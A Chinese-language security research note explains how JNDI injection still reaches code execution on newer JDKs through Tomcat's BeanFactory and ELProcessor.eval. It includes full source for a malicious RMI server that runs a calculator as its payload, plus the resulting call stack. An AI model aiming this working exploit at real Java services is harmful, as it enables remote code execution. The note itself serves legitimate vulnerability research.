參考:
- 如何繞過高版本 JDK 的限制進行 JNDI 注入利用
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- JNDI Injection Bypass
繞過限制:利用本地Class作爲Reference Factory
利用org.apache.naming.factory.BeanFactory
與之前的LDAP利用的繞過類似,也是有這麼一個方法:
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)
由於在這個類com.sun.jndi.rmi.registry.RegistryContext
的靜態代碼塊中設置了trustURLCodebase
爲false。除非手動將該JVM參數設置爲true。
下圖可見,傳統利用方式,在高版本JDK中被限制,拋出異常。
針對 RMI 利用的檢查方式中最關鍵的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) 如果 FactoryClassLocation 爲空,那麼就會進入 NamingManager.getObjectInstance 在此方法會調用 Reference 中的ObjectFactory。因此繞過思路爲在目標 classpath 中尋找實現 ObjectFactory 接口的類。在 Tomcat 中有一處可以利用的符合條件的類
org.apache.naming.factory.BeanFactory
在此類中會獲取 Reference 中的forceString 得到其中的值之後會判斷是否包含等號,如果包含則用等號分割,將前一半當做方法名,後一半當做 Hashmap 中的 key。如果不包含等號則方法名變成 set開頭。值得注意的是此方法中已經指定了參數類型爲 String。後面將會利用反射執行前面所提到的方法。因此需要找到使用了 String 作爲參數,並且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合適
參考:
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
PoC構造:
將ResourceRef構造器的第七個參數設置爲null:
tomcat-embed-core-8.5.11.jar!\org\apache\naming\ResourceRef.class
完整代碼
// TomcatRMIServer.java
/**
* javac -cp "D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" .\TomcatRMIServer.java
* java -cp ".;D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" TomcatRMIServer
*/
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class TomcatRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("EvalObj", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
}
}
則對應的factoryLocation
屬性爲null,這樣在邏輯判斷時,不滿足第一個if的條件,於是進入else邏輯中。
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)
繼續跟進:
javax.naming.spi.NamingManager#getObjectInstance
繼續跟進org.apache.naming.factory.BeanFactory#getObjectInstance
取出RMI服務發過來的對象的值,最後執行:
以下爲演示:
原理是調用了
new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"calc\")");
調用棧:
eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)